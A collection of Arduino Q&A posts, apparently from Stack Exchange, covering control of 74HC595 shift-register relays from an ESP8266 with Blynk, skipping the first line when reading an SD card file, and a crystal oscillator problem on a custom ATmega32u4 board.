      BLYNK_WRITE(V2)
      {
        // Get the state of the VButton
        relayVButton = param.asInt();
        relayControl(relayVButton, 16, 50); // Test led on Wemos pin
        Serial.println("V2 pressed");
      }

    void setup() {

      pinMode(dataPin, OUTPUT);   // All 3 pins are output
      pinMode(clockPin, OUTPUT);
      pinMode(latchPin, OUTPUT);

      // Do some loop through all the relays and buttons for pinMode
      for (int i=0; i<=totalRelays; i++){
        pinMode(relayArr[i], OUTPUT);
        digitalWrite(relayArr[i], 0);
        pinMode(relayVButtons[i], INPUT);
      }

      // COMMUNICATIONS
      Serial.begin(115200);
      WiFi.mode(WIFI_STA);
      // CONNECT TO BLYNK
      Blynk.begin(AUTH, WIFI_SSID, WIFI_PASS);
      while (Blynk.connect() == false) {}
      // OVER THE AIR UPDATES
      ArduinoOTA.setHostname(OTA_HOSTNAME);
      ArduinoOTA.begin();

      Serial.println(F("Blynk v" BLYNK_VERSION ": Device started"));
    }
    /*
       LOOP
    */
    void loop() {
      Blynk.run();
      ArduinoOTA.handle();
      timer.run();
    }

    void relayControl(int onoff, int relayNumber, int bitToSet){
    if(onoff == 1) // Virtual button set to on
        {
          digitalWrite(relayNumber, HIGH); // set Wemos pin on HIGH (for test)
          registerWrite(bitToSet, HIGH);
          relayState = 1;
        }
        else
        {
          digitalWrite(relayNumber, LOW); // set Wemos pin on HIGH (for test)
          registerWrite(bitToSet, LOW);
          relayState = 0;
        }
    }
    void registerWrite(int whichPin, int whichState) {
    // the bits you want to send
      byte bitsToSend = 0;

      // turn off the output so the pins don't light up
      // while you're shifting bits:
      digitalWrite(latchPin, LOW);

      // turn on the next highest bit in bitsToSend:
      bitWrite(bitsToSend, whichPin, whichState);

      // shift the bits out:
      shiftOut(dataPin, clockPin, MSBFIRST, bitsToSend);

        // turn on the output so the LEDs can light up:
      digitalWrite(latchPin, HIGH);

    }

Sander

---

i've change the code. Now the result is the led is turning on but only one led. After pressing led 2 the other one is turning on..
Im not able to turn them off.

    //#define BLYNK_DEBUG
    #define BLYNK_PRINT Serial

    #include <ArduinoOTA.h>
    #include <ESP8266WiFi.h>
    #include <BlynkSimpleEsp8266.h>
    #include <TimeLib.h>
    #include <WidgetRTC.h>

    #include <ESP_SSD1306.h>    // Modification of Adafruit_SSD1306 for ESP8266 compatibility -> https://github.com/somhi/ESP_SSD1306
    #include <Adafruit_GFX.h>   // Needs a little change in original Adafruit library (See README.txt file) --> https://github.com/adafruit/Adafruit-GFX-Library
    #include <SPI.h>            // For SPI comm (needed for not getting compile error)

    #include "settings_base.h"
    #include "globals.h"
    //#include "functions.h"
    //#include "blynk_writes.h"

    //Pin connected to ST_CP of 74HC595
    const int latchPin = 15; //D8
    //Pin connected to SH_CP of 74HC595
    const int clockPin = 14; //D5
    //Pin connected to DS of 74HC595
    const int dataPin = 13; // D7

    int totalRelays = 2; // Number of relays
    int relayState = 0; // default state = off
    int relayArr[] = {12, 16}; // Pins on the Wemos
    char vbutton1 = V1; char vbutton2 = V2;
    char relayVButtons[] = {V1,V2};
    int zone = 0;
    int relayVButton = 0;

    /*
       SETUP
    */
      BLYNK_WRITE(V1)
      {
        // Get the state of the VButton
        relayVButton = param.asInt();
        relayControl(relayVButton, 12, 1); // Test led on Wemos pin
        //int bitToSet = 49;

        Serial.println("V1 pressed");
      }

      BLYNK_WRITE(V2)
      {
        // Get the state of the VButton
        relayVButton = param.asInt();
        relayControl(relayVButton, 16, 4); // Test led on Wemos pin
        Serial.println("V2 pressed");
      }

    void setup() {

      pinMode(dataPin, OUTPUT);   // All 3 pins are output
      pinMode(clockPin, OUTPUT);
      pinMode(latchPin, OUTPUT);

      // Do some loop through all the relays and buttons for pinMode
      for (int i=0; i<=totalRelays; i++){
        pinMode(relayArr[i], OUTPUT);
        digitalWrite(relayArr[i], 0);
        pinMode(relayVButtons[i], INPUT);
      }

      // COMMUNICATIONS
      Serial.begin(115200);
      WiFi.mode(WIFI_STA);
      // CONNECT TO BLYNK
      Blynk.begin(AUTH, WIFI_SSID, WIFI_PASS);
      while (Blynk.connect() == false) {}
      // OVER THE AIR UPDATES
      ArduinoOTA.setHostname(OTA_HOSTNAME);
      ArduinoOTA.begin();

      Serial.println(F("Blynk v" BLYNK_VERSION ": Device started"));
    }
    /*
       LOOP
    */
    void loop() {
      Blynk.run();
      ArduinoOTA.handle();
      timer.run();
    }

    void relayControl(int onoff, int relayNumber, int bitToSet){
    if(onoff == 1) // Virtual button set to on
        {
          digitalWrite(relayNumber, HIGH); // set Wemos pin on HIGH (for test)
          registerWrite(bitToSet);
          Serial.println(bitToSet);
          relayState = 1;
        }
        else
        {
          digitalWrite(relayNumber, LOW); // set Wemos pin on HIGH (for test)
          registerWrite(bitToSet);
          relayState = 0;
        }
    }
    void registerWrite(int whichPin) {
    // the bits you want to send
       uint8_t data = 1<<whichPin ;
      // turn off the output so the pins don't light up
      // while you're shifting bits:
      digitalWrite(latchPin, LOW);

      // shift the bits out:
      shiftOut(dataPin, clockPin, MSBFIRST, data);

        // turn on the output so the LEDs can light up:
      digitalWrite(latchPin, HIGH);

    }

---

Im using the shiftOut option.
The code im using now is :

    //#define BLYNK_DEBUG
    #define BLYNK_PRINT Serial

    #include <ArduinoOTA.h>
    #include <ESP8266WiFi.h>
    #include <BlynkSimpleEsp8266.h>
    #include <TimeLib.h>
    #include <WidgetRTC.h>

    #include <ESP_SSD1306.h>    // Modification of Adafruit_SSD1306 for ESP8266 compatibility -> https://github.com/somhi/ESP_SSD1306
    #include <Adafruit_GFX.h>   // Needs a little change in original Adafruit library (See README.txt file) --> https://github.com/adafruit/Adafruit-GFX-Library
    #include <SPI.h>            // For SPI comm (needed for not getting compile error)

    #include "settings_base.h"
    #include "globals.h"
    //#include "functions.h"
    //#include "blynk_writes.h"

    //Pin connected to ST_CP of 74HC595
    const int latchPin = 15; //D8
    //Pin connected to SH_CP of 74HC595
    const int clockPin = 14; //D5
    //Pin connected to DS of 74HC595
    const int dataPin = 13; // D7

    int totalRelays = 2; // Number of relays
    int relayState = 0; // default state = off
    int relayArr[] = {12, 16}; // Pins on the Wemos
    char vbutton1 = V1; char vbutton2 = V2;
    char relayVButtons[] = {V1,V2};
    int zone = 0;
    int relayVButton = 0;
    byte data;
    byte dataArray[10];

    /*
       SETUP
    */
      BLYNK_WRITE(V1)
      {
        // Get the state of the VButton
        relayVButton = param.asInt();
        relayControl(relayVButton, 12, 49); // Test led on Wemos pin
        //int bitToSet = 49;

        Serial.println("V1 pressed");
      }

      BLYNK_WRITE(V2)
      {
        // Get the state of the VButton
        relayVButton = param.asInt();
        relayControl(relayVButton, 16, 50); // Test led on Wemos pin
        Serial.println("V2 pressed");
      }

    void setup() {

      pinMode(dataPin, OUTPUT);   // All 3 pins are output
      pinMode(clockPin, OUTPUT);
      pinMode(latchPin, OUTPUT);

      // Do some loop through all the relays and buttons for pinMode
      for (int i=0; i<=totalRelays; i++){
        pinMode(relayArr[i], OUTPUT);
        digitalWrite(relayArr[i], 0);
        pinMode(relayVButtons[i], INPUT);
      }

      // COMMUNICATIONS
      Serial.begin(115200);
      WiFi.mode(WIFI_STA);
      // CONNECT TO BLYNK
      Blynk.begin(AUTH, WIFI_SSID, WIFI_PASS);
      while (Blynk.connect() == false) {}
      // OVER THE AIR UPDATES
      ArduinoOTA.setHostname(OTA_HOSTNAME);
      ArduinoOTA.begin();

      Serial.println(F("Blynk v" BLYNK_VERSION ": Device started"));
    }
    /*
       LOOP
    */
    void loop() {
      Blynk.run();
      ArduinoOTA.handle();
      timer.run();
    }

    void relayControl(int onoff, int relayNumber, int bitToSet){
    if(onoff == 1) // Virtual button set to on
        {
          digitalWrite(relayNumber, HIGH); // set Wemos pin on HIGH (for test)
          registerWrite(bitToSet, HIGH);
          relayState = 1;
        }
        else
        {
          digitalWrite(relayNumber, LOW); // set Wemos pin on HIGH (for test)
          registerWrite(bitToSet, LOW);
          relayState = 0;
        }
    }
    void registerWrite(int whichPin, int whichState) {
    // the bits you want to send
      byte bitsToSend = 0;

      // turn off the output so the pins don't light up
      // while you're shifting bits:
      digitalWrite(latchPin, LOW);

      // turn on the next highest bit in bitsToSend:
      bitWrite(bitsToSend, whichPin, whichState);

      // shift the bits out:
      shiftOut(dataPin, clockPin, MSBFIRST, bitsToSend);

        // turn on the output so the LEDs can light up:
      digitalWrite(latchPin, HIGH);

    }

title: shift register 74HC595 enable specific pin

Answers: 2

body:
Working from `shiftOut()` backwards:

Parameters for `shiftOut()`:

> **Syntax**
>
> `shiftOut(dataPin, clockPin, bitOrder, value)`
>
> **Parameters**
>
> `dataPin`: the pin on which to output each bit (int)
>
> `clockPin`: the pin to toggle once the dataPin has been set to the
> correct value (int)
>
> `bitOrder`: which order to shift out the bits; either MSBFIRST or
> LSBFIRST. (Most Significant Bit First, or, Least Significant Bit
> First)
>
> `value`: the data to shift out. (byte)

The important part to notice is the `value` parameter, which is one 8-bit value, and along with the `dataPin` and `clockPin`, sets the 8 registers of the shift register to the 8 bits shifted in. Then, as you have in your code, you pull the `latchPin` high to latch the register values to the output pins.

Binary values can be represented in C++ as `b00001010`, where the `b` prefix notes that the number following is in binary notation, and not "one-thousand ten". If the least-significant bit refers to relay-0 and the most-significant bit refers to relay-7, then to turn on relay-0, you would make sure the last digit (least-signficant) is a one: `b00000001`. To turn on relays 0 and 1, send 'b00000011', and so on.

In your `registerWrite()` function, you call `shiftOut(dataPin, clockPin, MSBFIRST, bitsToSend);`, thus `bitsToSend` should be an 8-bit value, with each bit representing the state of one of the 8 relays on your relay board.

within `registerWrite()`, `bitsToSend` is set by the `bitWrite()` function, which sets the bit number identified by `whichPin` to the value represented by `whichState`, which are both parameters passed in from the function call. It's worth noting that `bitsToSend` is initialized to `b00000000` and `bitWrite()` is called only once, and so there can be at most **one** bit turned on in the value to write; and thus only one relay active at a time.

`registerWrite()` is called from within `relayControl()`, and the `whichPin` value in `registerWrite()` comes from the `bitToSet` value in `relayControl()`, which in turn is called by the `BLYNK_WRITE(V1)` or `BLYNK_WRITE(V2)` functions. In both of those functions, you pass `49` or `50` as the `bitToSet` parameter, but there are only 8 bits in a byte, so the value passed should be between 0 and 7. You cannot set bit 49 of an 8-bit value.

Probably `relayControl()` should be called with a value between 0 and 7 for the last parameter.

----------

**EDIT Based on New Code**

Your latest code shows some changes to the `registerWrite()` function:

    void registerWrite(int whichPin) {

You have removed the parameter which contains the value to write to the particular bit position. Now you have no way to tell the function whether to turn the pin on or off.

    // the bits you want to send
       uint8_t data = 1<<whichPin ;

By shifting a `1` to a particular bit position, you have no way to clear a bit, which is probably why you now cannot get an LED to turn off except by turning on the alternate LED.

      // turn off the output so the pins don't light up
      // while you're shifting bits:
      digitalWrite(latchPin, LOW);

      // shift the bits out:
      shiftOut(dataPin, clockPin, MSBFIRST, data);

        // turn on the output so the LEDs can light up:
      digitalWrite(latchPin, HIGH);
    }

If you wish to maintain the current state of bits, you will need to declare `data` as a `static` variable, which means that it's value is retained even when the function ends and is again available when the function is called again. Further, by using the assignment (`=`) operator, all you are able to do is overwrite the existing data with the new data, erasing the previous data.

You can use the `bitSet()` and `bitClear()` functions to set (make equal to 1) and clear (make equal to zero) individual bits in a byte.

A new `registerWrite()` function might look like:

    void registerWrite(int whichPin, int pinValue) {
      // the bits you want to send
      static uint8_t data;

      if (pinValue==1) {
        bitSet(data, whichPin);    // Turn on the bit at whichPin
      } else {
        bitClear(data, whichPin);  // Turn off the bit at whichPin
      }

      // turn off the output so the pins don't light up
      // while you're shifting bits:
      digitalWrite(latchPin, LOW);

      // shift the bits out:
      shiftOut(dataPin, clockPin, MSBFIRST, data);

        // turn on the output so the LEDs can light up:
      digitalWrite(latchPin, HIGH);
    }

You noted you have been frustrated for days working on this, and your code examples have mixed coding conventions, so perhaps you are finding many different code examples and trying various ones until you find something that works. I would encourage you, however, to take it slow and read through each line of code you have and make sure you understand exactly what it does, and be sure you can explain to yourself why each statement or command is there. This will help you to see the path of execution for your code and be able to diagnose bugs and come up with solutions that directly fix the problem, rather than swapping and and out a multitude of snippets from websites and forums.

body:
You already had SPI in use. You can connect SCK to SRCLK, MOSI to Serial data in, and pick a pin for RCLK. D10 needs to be an output for the device to be SPI master. If it's used already, use that.

Then simply clock in the needed data:

    digitalWrite (rclk, LOW);
    SPI.transfer (yourData);
    digitalWrite (rclk, HIGH); // outputs update on this rising edge

MRCLR connects to +5, OE/ connects to Gnd.

    SPI.begin();

in setup() turns on the defaults of 4 MHz clock rate, MSBFIRST, and SPI Mode 0, that's all you need.


body:
is there a way to read only 2nd up to the last line except for the first line?

here's my sample code

    File myFile;
    char cr;
    void setup() {
      // Open serial communications and wait for port to open:
      Serial.begin(9600);
      while (!Serial) {
        ; // wait for serial port to connect. Needed for native USB port only
      }

      Serial.print("Initializing SD card...");

      if (!SD.begin(4)) {
        Serial.println("initialization failed!");
        while (1);
      }
      Serial.println("initialization done.");

      // re-open the file for reading:
      myFile = SD.open("test.txt");
      if (myFile) {
        Serial.println("test.txt:");

        // read from the file until there's nothing else in it:
        while (myFile.available()) {
          Serial.write(myFile.read());

        }
        // close the file:
        myFile.close();
      } else {
        // if the file didn't open, print an error:
        Serial.println("error opening test.txt");
      }
    }

    void loop() {
      // nothing happens after setup
    }

title: how to read all line except the first line?

Answers: 2

body:
Why don't you do reads for the first line, ignore them and start the while thus:

    while (myFile.available() && (myFile.read() != '\n') {}; // Empty while body
    while (myFile.available()) {
      Serial.write(myFile.read());
    }

body:
skip first line

    bool firstLine = true;
    while (myFile.available()) {
      int c = myFile.read();
      if (firstLine) {
        if (c == '\n') {
          firstLine = false;
        }
      } else {
        Serial.write(c);
      }
    }


body:
So I built an custom board based on the Atmega32u4. Schematics attached.

I managed to burn a bootloader for Pro Micro using Arduino Uno as an ISP.

The issue I have is that the board is dead when powered and to bring it to life I have to short pin1 of my crystal with VCC for a second. I discovered it by mistake..

The crystal I'm using is an Epson X1G004451000212.

Any idea why is this happening?

[![Circuit schematic][1]][1]

  [1]: https://i.stack.imgur.com/DetYo.png

title: Custom atmega32u4 board crystal issue

Answers: 1

body:
That's a Crystal Oscillator, not a crystal. Take the 22pF caps off to start.

Did you set the fuses to use an external clock source, vs a crystal with the internal oscillator driver (where the caps would be needed)?

Is the part oriented the correct way so it receives power and Gnd correctly?

Also, is it's performance any better than if you had just used a crytal?

https://support.epson.biz/td/api/doc_check.php?dl=brief_SG7050CAN&lang=en

vs these with +/- 10ppm stability (is that the same +/- 10 x 10 ^ -6 ?, which would b be better than 25 to 100 x 10 ^ -6)
https://www.digikey.com/products/en/crystals-oscillators-resonators/crystals/171?k=crystal&k=&pkeyword=crystal&pv1989=0&pv183=6185&pv2150=u16MHz&pv253=19&FV=ffe000ab&quantity=0&ColumnSort=0&page=1&stock=1&pageSize=25